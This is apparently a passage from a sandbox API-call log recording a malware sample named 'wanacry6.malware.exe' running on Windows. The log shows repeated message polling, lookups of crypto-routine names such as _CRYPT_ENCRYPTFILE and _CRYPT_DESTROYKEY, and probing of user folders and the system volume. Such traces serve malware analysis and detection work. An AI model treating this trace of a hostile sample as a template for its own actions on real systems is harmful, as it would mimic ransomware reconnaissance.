lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0018.534] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.534] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.535] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.535] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.536] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dff4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff4b0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.537] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.537] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xe8f3dfef10 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0018.538] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0018.538] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.538] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xe8f3dfef10 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0018.538] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0018.539] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.539] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xe8f3dfef10 | out: pszPath="C:\\Program Files") returned 0x0 [0018.539] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0018.539] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.539] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xe8f3dff240, nSize=0x104 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp") returned 0x14 [0018.539] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0018.539] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.540] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0018.541] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.541] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xe8f3def6f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0018.541] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.541] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.541] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0018.541] PeekMessageW (in: lpMsg=0xe8f3dff220, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff220) returned 0 [0018.542] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0018.542] PeekMessageW (in: lpMsg=0xe8f3dff220, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff220) returned 0 [0018.542] SetErrorMode (uMode=0x1) returned 0x0 [0018.542] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xe8f3def730, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xe8f3dff758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xe8f3dff758*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0018.542] GetLastError () returned 0x3f0 [0018.542] SetLastError (dwErrCode=0x3f0) [0018.542] GetLastError () returned 0x3f0 [0018.542] SetLastError (dwErrCode=0x3f0) [0018.543] SetErrorMode (uMode=0x0) returned 0x1 [0018.543] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.543] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.545] QueryPerformanceCounter (in: lpPerformanceCount=0xe8f3dff758 | out: lpPerformanceCount=0xe8f3dff758*=218314107) returned 1 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.545] QueryPerformanceCounter (in: lpPerformanceCount=0xe8f3dff758 | out: lpPerformanceCount=0xe8f3dff758*=218314576) returned 1 [0018.545] QueryPerformanceFrequency (in: lpFrequency=0xe8f3dff6d0 | out: lpFrequency=0xe8f3dff6d0) returned 1 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.545] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.545] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.545] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.546] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.546] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.546] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.546] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.547] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.548] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.554] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.554] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.554] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.554] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 